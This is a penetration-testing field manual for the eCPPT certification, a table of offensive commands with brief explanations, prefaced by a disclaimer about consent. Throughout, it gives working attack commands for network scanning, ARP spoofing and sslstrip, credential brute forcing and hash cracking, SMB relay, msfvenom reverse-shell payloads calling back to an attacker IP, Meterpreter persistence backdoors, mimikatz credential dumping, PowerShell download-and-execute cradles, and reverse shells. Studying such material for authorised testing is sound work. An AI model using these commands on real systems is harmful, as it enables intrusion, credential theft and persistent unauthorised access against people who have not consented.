eCPPT

Certified Professional Penetration Tester

Field Manual

By: kindredsec

https://twitter.com/kindredsec

Vital commands for the eCPPT exam,
as well as other Penetration Testing endeavors

Disclaimer:

This manual is designed as a repository for commonly used commands used within the scope of the eCPPT Certification Exam. This is NOT a detailed explanation on the mechanics of the attacks. Please refer to elearnsecurity’s PTP course in order to understand the mechanics of the various attacks referred to in this field manual. Also note that these commands are not designed to suit everyone’s situation, nor are the commands listed in this manual the only way to get the intended results. For example, many of the commands listed in this manual have the **-v** (verbose) option set. This obviously is not required for the associated attack to work, but I may personally feel that the verbose option generates useful output for the user. Do not treat the commands introduced in this manual as the “cookie-cutter” command usage. Take the time to investigate the command and find what works best for you as an attacker. Also, this manual is not all-inclusive. For every command introduced, there is probably 100 more that do the exact same thing. If you do not like the tools introduced in the manual, there are likely a multitude of other options available.

Additionally, if you have little-to-no experience with Penetration Testing, this manual will likely be very hard to comprehend. The commands introduced are only given a brief explanation, and the purpose of this manual is not to teach how to Penetration Test, but rather to fortify Penetration Testing knowledge by serving as a command repository. Also note that the commands in this manual are tailored to the eCPPT; all the commands provided have in some way been introduced in the PTPv5 course.

Most importantly, you as the reader should understand that I do not advocate the use of any of the tools and techniques introduced in this manual without the target’s consent. Being part of the penetration testing community comes with an implied social contract that you will NEVER use these tools against unwilling targets. Only use the tools introduced in this manual against targets in which consent was obtained, or against targets within a personal lab environment.

Finally, please note that I am in no way affiliated with elearnsecurity or any of its partners.

Manual Layout:

The manual content will be introduced in a simple one-to-one mapping via a 3-by-x table, with the left-most column representing the command-type, the middle column representing the command and the right column representing a quick explanation of the command.

The individual commands will have **bolded** text and *italicized* text.

- **bolded** text indicates that part of the command will always remain the same, regardless of environment.
- *italicized* text indicates user input, meaning that part of the command will change depending on the environment.

Here is an example excerpt from the manual:

*	**nmap -sS** *target_ip_address*	Performs a simple SYN scan of target IP address or IP address range.

The middle column has the command structure and the right-most column provides a generic description of the command. The left-most column is designed to specify whether the command being introduced is CLI-based, or something more specialized. An asterisk (*) indicates that the command being introduced is CLI-based, and will be executed within a terminal. A plus sign (**+**) indicates that the information being introduced is something other than a CLI command, such as an SQL payload. A pound symbol (#) indicates that the information being introduced is a Metasploit module or payload. The atmark symbol (@) indicates that the information being introduced is a meterpreter command. A Dollar Sign (**$**) indicates that the information being introduced is a Windows Command or PowerShell Command.

Section 1: Network Security

Topic I: Domain Enumeration

*	**nslookup** *target*	Performs a basic DNS Query.
*	**dig** *domain* **MX**	Returns mails server within specified domain.
*	**dig** *domain* **NS**	Returns name servers within specified domain.
*	**dig axfr** *@name_server domain*	Attempts a zone transfer from specified name server.
*	**dnsrecon -d** *domain* **-a --name_server** *server*	Attempts a zone transfer from specified name server.
*	**nmap -sU -p53** *network*	Scans for DNS servers within specified network.
*	**dnsmap** *domain*	Attempts to brute forces subdomains of specified domain.
*	**perl fierce.pl -dns** *domain* **--dnsserver** *server*	Automates domain enumeration. Performs zone transfer, subdomain brute force, and more.
*	**dnsenum.pl** *domain*	Automates domain enumeration.

Topic II: Nmap Basic Scanning

*	**nmap -sS** *target*	Performs a simple SYN scan of target.
*	**nmap -sU** *target*	Performs a UDP scan of target.
*	**nmap -sV** *target*	Performs a version scan.
*	**nmap -O** *target*	Performs an OS scan.
*	**hping3** -*scan_type* **--scan** *ports* **target**	Perform SYN scan for range of ports with hping.
*	**nmap -Pn -sI -p** *port zombie_ip:port target*	Performs an idle scan.
*	**nmap** -*scan_type* **-D** *decoy1,2… target*	Performs a scan using decoys.
*	**nmap** -*scan_type* **-T***(0-5) target*	Performs a scan with timing manipulation.
*	**nmap** -*scan_type* -**g** *src_port target*	Scans target from specified source port.

*	**nmap** *-scan_type target* **--disable-arp-ping**	Force nmap to use ICMP instead of ARP when scanning local network.

Topic III: Idle Scan

*	**nmap -O -v** *zombie_ip*	Determines if IP ID is incremental.
*	**nmap --script ipidseq** *target* **-p** *port*	Determines if IP ID is incremental.
*	**hping3 -S -r -p** *port zombie_ip*	Probes a zombie candidate.
*	**hping3 -a** *zombie_ip* **-S -p** *dst_port target*	Spoofs zombie’s IP and probes target.
*	**nmap -Pn -sI -p***dst_port zombie_ip:src_port target*	Performs Idle scan. (performs previous two steps simultaneously).

Topic IV: NetBIOS/SMB Enumeration

*	**nbtscan -v** *target*	Probes NetBIOS info of machine.
*	**smbclient -L** *target*	Lists shared resources of target.
*	**nmblookup -A** *target*	Displays system shares information.
*	**smbclient //***target_ip***/***target_share* **-N**	Attempts to access a shared resources with no credentials (null session).
*	**enum4linux** *target*	enumerates information on target Windows system (shares, users, etc).
*	**rpc -N -U “”** *target*	Attempt to connect to RPC service with no credentials.
*	**nmap --script=smb-brute** *target*	Attempts to bruteforce SMB credentials with nmap.

Topic V: SNMP Enumeration

*	**snmpwalk -c** *c_string* **-v** *version target*	Enumerates SNMP info of the given target.
*	**snmpwalk -c** *c_string* **-v** *version target OID*	Obtains SNMP info at specified OID.
*	**snmpset -c** *c_string* **-v** *version target OID value_type value*	Changes the SNMP information at specified OID.
*	**ls -l /usr/share/nmap/script | grep -i snmp**	Lists all SNMP-related nmap scripts.

*	**nmap -sU -p 161 --script=snmp-brute** *target*	Attempts to brute force SNMP community string.

Topic VI: Man-in-the-Middle Attacks

*	**echo 1 > /proc/sys/net/ipv4/ip_forward**	Permits attacker system to forward IP packets (needed for MiTM attacks).
*	**macof -i** *interface*	Performs a CAM Table Flood attack.
*	**arpspoof -i** *interface* **-t** *target1* **-r** *target2*	Performs an ARP Spoofing attack.
*	**bettercap -I** *interface* **--no-spoofing**	Performs a basic ping sweep of connected network.
*	**bettercap -I** *interface* **-G** *gateway* **-T** *target*	Performs an ARP Spoofing attack.
*	**iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 8080**	Sets up port redirection in order to perform an sslstrip attack.
*	**sslstrip -a -f -l 8080 -w** *log*	Have ssltrip begin listening for connections.
*	**bettercap -G** *gateway* **-T** *target* **--proxy-https**	use sslstrip attack with bettercap.
*	**python mitmf.py -i** *interface* **--spoof --arp --dns --hsts --gateway** *gateway* **--targets** *target*	Performs a MiTM attack using sslstrip2/sslstrip+

Topic VII: General Authentication Cracking

*	**medusa -h** *target* **-M** *protocol* **-U** usr_list **-P** pwd_list	Attempts to crack credentials of network service when user unknown.
*	**medusa -h** *target* **-M** *protocol* **-u** usrname **-P** pwd_list	Attempts to crack credentials of network service when user is known.
*	**hydra -l** *usrname* **-P** *pwd_list service://target*	Attempts to crack credentials of network service when user is known
*	**patator** *module* **host=***target* **user=FILE0 password=FILE1 0=***usr_list* **1=***pwd_list*	Attempts to crack credentials of network service when user unknown.
*	**john --wordlist=***word_list* **--rules** *pwd_file*	Cracks hashes in specified local file using a wordlist.
*	**john -i** *pwd_file*	Cracks hashes in specified local file using a pure brute force.
*	**john --show** *pwd_file*	Shows the results of a cracking

		attempt on specified file.
*	**unshadow /etc/passwd /etc/shadow >** *new_file*	Unshadows Linux system credentials.

Topic VII: NTLM/SMB Authentication Cracking

#	**auxiliary/server/capture/smb**	Configures attacker system to listen for and log SMB connections.
*	**john --format=netlm** *hash_file*	Cracks first portion of an LM/NTLM hash.
*	**rcracki_mt -h** *first_8bytes_hash* **-t 4 *.rti**	Cracks first portion of an LM/NTLM hash.
*	**perl netlm.pl -file** *hash_file* **-seed** *cracked_portion*	Cracks the remainder of an LM/NTLM hash.
*	**perl netntlm.pl -file** *hash_file* **-seed** *cracked_passwd*	Finds the proper casing of a cracked LM/NTLM hash.
#	**exploit/windows/smb/smb_relay**	Executes an SMB relay attack.
*	**msfvenom -p windows/meterpreter/reverse_tcp LHOST=***attacker_ip* **LPORT=***port* **-f exe -o** *file_name*.**exe**	Create malicious file to force target to callback to attacker.
#	**exploit/multi/handler**	Make attacking system listen for incoming connections.
*	**python smbrelayx.py -h** *target* **-e** *mal_exefile*	Attempts to obtain rev shell using SMB Relay attack.

Topic VIII: Post-Exploitation

#	**post/windows/manage/migrate**	Make meterpreter migrate to another process.
@	**migrate** *pid*	Make meterpreter migrate to another process.
@	**getsystem**	Attempts to elevate privileges.
#	**post/windows/gather/win_privs**	Determine privilege information.
#	**exploit/windows/local/bypassuac_vbs**	Attempts to bypass UAC in order to escalate privileges.
@	**use incognito**	Load extension used to impersonate another user on Windows system.

@	**list_tokens -u**	List available users to impersonate.
@	**impersonate_token** *token*	Attempt to impersonate a user.
*	**gcc -m***(32or64)* **-o** *new_file_name source_code*	Compiles source code into a Linux executable.
@	**upload** *local_file target_file_location*	Uploads a file onto target system.
@	**hashdump**	Dump hashes in Windows SAM database.
#	**exploit/windows/smb/psexec**	Execute payload with obtained Windows credentials.
@	**load mimikatz**	Loads Mimikatz extension into Meterpreter session.
@	**wdigest**	Use Mimikatz to retrieve passwords.
@	**run service_manager -l**	Lists running services on Windows.
@	**run getgui -e**	Enable the RDP process on target.
$	**net localgroup** *“group” user* **/add**	Adds a user to a Windows group.
*	**rdesktop** *target* **-u** *user* **-p** *password*	Initiate an RDP session with target.
@	**run persistence -A -X -i** *time_int* **-p** *port* **-r** *attacker_ip*	Creates a persistent backdoor on a target.
#	**exploit/multi/handler**	Make attacking system listen for incoming connections.
$	**net user** *acc_name acc_pwd* **/add**	Create a user on Windows system.

Topic IX: Pillaging/Data Harvesting

@	**sysinfo**	Obtain basic system information
@	**getuid**	Check the current user.
@	**run post/windows/gather/**	Lists all Meterpreter pillaging scripts.
@	**run post/windows/gather/enum_services**	Obtain all running services on a Windows machine.
$	**wmic service get Caption,StartName,State,pathname**	Obtain all running services on a Windows machine.
@	**run post/windows/gather/enum_domains**	Determine what domains target is in.
$	**net group “Domain Controllers” /domain**	Determine the domain controller of Windows target’s domain

$	**net user**	Displays users on Windows system.
@	**run post/windows/gather/enum_ad_users**	Enumerates accounts in active domain.
$	**net user /domain**	Enumerates accounts in active domain.
$	**net localgroup**	Lists all local groups on system.
$	**net localgroup** *group_name*	Lists all users within group.
@	**run post/windows/gather/enum_shares**	Lists all shared resources on system.
$	**net share**	Lists all shared resources on system.
@	**run scraper**	Runs pillage automation script.
@	**run winenum**	Runs Windows pillage automation script.
@	**run post/windows/gather/credentials**	Searches for credentials on a system.
@	**run post/gather/enum_chrome**	Searches for credentials stored in Google Chrome.
@	**run post/windows/gather/enum_application**	Lists installed software on system.

Topic X: Internal Network Mapping and Pivoting

@	**run arp_scanner -r** *network***/***mask*	Perform an ARP scan of exploited system's network.
@	**run post/multi/gather/ping_sweep**	Performs a basic ping sweep.
#	**route add** *target_network target_mask session#*	Uses metasploit session as a route to target internal network.
@	**run autoroute -s** *target_network***/***CIDR*	Use session as route to target internal network.
#	**auxiliary/scanner/portscan/tcp**	Performs a basic SYN scan.
#	**auxiliary/server/socks4a**	Set up a SOCKS4 proxy in Metasploit.
@	**portfwd add -l** *local_port* **-p** *remote_port* **-r** *target*	Perform port forwarding via meterpreter.
$	**netsh advfirewall firewall add rule name=***name* **dir=***in/out* **protocol=TCP localport=***port* **action=allow**	Opens a port on a Windows system; can be used with port forwarding to access internal systems.
$	**netsh interface portproxy add v4tov4 listenport=***port* **listenaddress=***ip* **connectport=***port* **connectaddress=***ip*	Creates a port forwarding rule that directs traffic to another host; good for pivoting.

Section 2: PowerShell for Pentesters

Topic I: PowerShell Basics

$	**Get-Help** *cmdlet*	Get Usage information on the specified cmdlet.
$	**Get-Command -Name** *string*	Searches for Commands related to given string.
$	**Get-Process**	Obtains the running processes on system.
$	**Select-String -Path** *path* **-Pattern** *string*	Searches for specified string within the documents in given path.
$	**Get-Content** *file*	Displays the contents of specified file
$	**Get-Service** *string*	Displays services on the system (search string optional)
$	**Get-Module -ListAvailable**	Returns a list of available modules.
$	**Import-Module** *module_path*	Imports the specified module.
$	**foreach (***statement) {body}*	PowerShell For Loop Syntax

Topic II: Download and Execution

$	**iex (New-Object Net.Webclient).DownloadString(‘** *remote_file’*)	Downloads and executes the specified remote file.(Can also be done within PS shell).
$	**Invoke-WebRequest -Uri** *target* **-OutFile** *filename*	Obtains a file from a specified target and saves it to the local filesystem.
$	*var* = **New-Object System.Xml.XmlDocument;** *var*.**Load(**“*remote_xml_file”);* **iex** *var*.**command.a.execute**	Downloads and executes malicious PowerShell located within an XML document.
$	**Write-Host** *variable*	Output the contents of a variable.

*	**cat** *file* | **-iconv --to-code UTF-16LE** | **base 64**	Converts PowerShell payload to a properly encoded base64 string
$	**powershell** *options* **-enc** *base64_string*	executes a base64-encoded payload.

Topic III: PowerShell Recon

$	**$ports=(***ports***); $ip=”***ip***”; foreach ($port in $ports) {try{$socket=New-Object System.Net.Sockets.TcpClient($ip,$port);} catch {}; if ($socket -eq $null) {echo $ip”:”$port” - Closed”;}else(echo $ip”:”$port” - Open”; $socket = $null;}}**	Creates a Native portscan from a PowerShell hosts of a specified target. (No additional modules need to be loaded for this to work.)
$	**Invoke-Portscan -Hosts** *“hosts”* **-ports** *“ports”*	Through the PowerSploit module, performs a port scan on host range.
$	**Invoke-ARPScan -CIDR** *network***/***cidr*	From the Posh-SecMod framework, performs an ARP scan of specified network.

Topic IV: PowerShell Post-Exploitation

$	**Invoke-PowerShellTcp -Reverse -IPAddress** *listen_ip* **-Port** *listener_port*	Using Nishang, creates a PowerShell Reverse shell to specified listener.
$	**Invoke-Mimkatz -DumpCreds**	Using Nishang, attempts to dump cleartext credentials.
$	**Import-Module** *power_up_module*; **Invoke-AllChecks**	Probes local system for potential vulnerabilities.
$	**Invoke-DLLInjection -ProcessID** *target_process dll_file*	Injects a malicious DLL within the specified process (PowerSploit)

Section 3: Linux Exploitation

Topic I: Remote Shares (SMB) Enumeration

*	**showmount -e** *ip_address*	Shows available exports from the given host.
*	**rpcinfo -p** *ip_address*	Displays all the RPC-based services running on given host.
*	**nmap --script smb-enum-shares** *ip_address*	Given a host running the Samba service, enumerates Samba-related information.
#	**auxiliary/scanner/smb/smb_login**	Obtains the usernames of a SMB server.
*	**smbmap -H** *ip_address*	Lists the Samba shares located in target host, as well as our access to them.
*	**smbclient -L** *ip_address*	Obtains basic information regarding SMB and NetBIOS information.
*	**smbclient \\\\ip_address\\***directory*	Attempts to access a SMB/Samba shared directory.
*	**mount -t nfs** *ip_address*:*directory mount_point* **-o nolock**	Mounts a remote NFS-shared directory for access.
*	**mount -t cifs \\\\ip_address\\***directory mount_point*	Mounts a remote SMB-shared directory for access. (Note: need the cifs-utils package)
*	**rpcclient -U** “” *ip_address* **-N \\ --command=”lookupnames** *name*”	As a guest, enumerate the SID of user on a system (Note; should be placed in some sort of loop)

Topic II: SMTP Enumeration

*	**nmap --script smtp-commands** *ip_address* **-p 25**	Enumerates what SMTP features are enabled on an SMTP server.
*	**smtp-user-enum -M** *method* **-U** *user_list* **-t** *ip_address*	Attempts to enumerate the users that exist on an SMTP server.
#	**auxiliary/scanner/smtp/smtp_enum**	Enumerates the users of a SMTP server.

Topic III: Local Network Enumeration

*	**cat /etc/resolv.conf**	Obtains the DNS servers used by system.
*	**ifconfig -a**	Lists current Network Interfaces.

*	**arp -a**	Lists local arp cache.
*	**netstat -auntp**	Lists TCP/UDP Listening Ports and Connections.
*	**ss -twurp**	Lists active connections and processes
*	**nmap -sT -p***ports* **portquiz.net**	Tests outbound firewall rules

Topic IV: Network Exploitation

*	**hydra -L** *user_list* **-P** *password_list service://target*	Performs a network authentication brute force attempt.
*	**hydra -l** *user* **-p** *password* **-M** *server_list service*	Attempts to use discovered credentials on other specified servers.
*	**nmap --script smb-os-discovery -p445** *ip_address*	Determines the version of Samba running on specified system.
*	**searchsploit** *search*	Searches for exploits of specified search.
#	**exploit/multi/samba/usermap_script**	Exploits the Username Map Script vulnerability, allowing attack to own SMB server.
*	**python -c ‘import pty; pty.spawn(“***shell”) ‘*	Establishes a Pseudo TTY on remote system, granting a shell prompt.
#	**auxiliary/admin/smb/samba_symlink_traversal**	Exploits the Samba symlink vulnerability by creating a symbolic link to rootfs.
+	**/usr/share/webshells/perl/ perl-reverse-shell.pl**	A script used to create a reverse shell using perl.
*	**dirsearch.py -u** *target* **-e cgi -r**	Attempts to find any cgi files on a target web server.
*	**nmap --script http-shellshock --script-args uri=***cgi-path ip_address* **-p** *port*	Determines if a cgi file is vulnerable to the shellshock exploit.
*	**nmap --script ssl-heartbleed** *ip-address*	Determines if system is vulnerable to the heartbleed exploit.
#	**auxiliary/scanner/ssl/openssl_heartbleed**	Module used to dump encrypted memory contents from an ssl host.
#	**exploit/multi/misc/java_rmi_server**	Used to exploit the Java RMI vulnerability.

#	**auxiliary/scanner/http/tomcat_mgr_login**	Performs password guessing against Apache Tomcat servers.
+	**/usr/share/laudanum/jsp/cmd.war**	A Java application that allows remote command execution (Mostly used when attacking Tomcat).

Topic IV: Linux Post-Exploitation

#	**post/linux/gather/enum_configs**	Collects all the most vital configuration files on a system.
#	**post/linux/gather/enum_system**	Collects system information of a system.
*	**sudo -l**	Lists the sudo permissions of the current user.
*	**unshadow** *passwd_file shadow_file > output*	Creates a file that combines shadow and passwd file for cracking
*	**python mimipenguin.py** || **./mimipenguin.sh**	Attempts to obtain cleartext credentials from memory.
*	**ldd** *program*	Determines the shared libraries used by a program.
*	**objdump -x** *program* | **grep** *RPATHorRUNPATH*	Determines whether a binary was compiled with the RPATH or RUNPATH option.
*	**msfvenom -a x64 -p linux/x64/shell_reverse_tcp LHOST=***attacker_ip* **LPORT=***port* **-f elf-so -o** *file_name*	Creates a malicious shared library object that establishes a remote shell to an attacker system.
*	**perl linux_exploit_suggester.pl -k** *kernel*	Determines which vulnerabilities are in the specified kernel/
*	**tdbdump** *secrets_file*	Dumps Samba user information.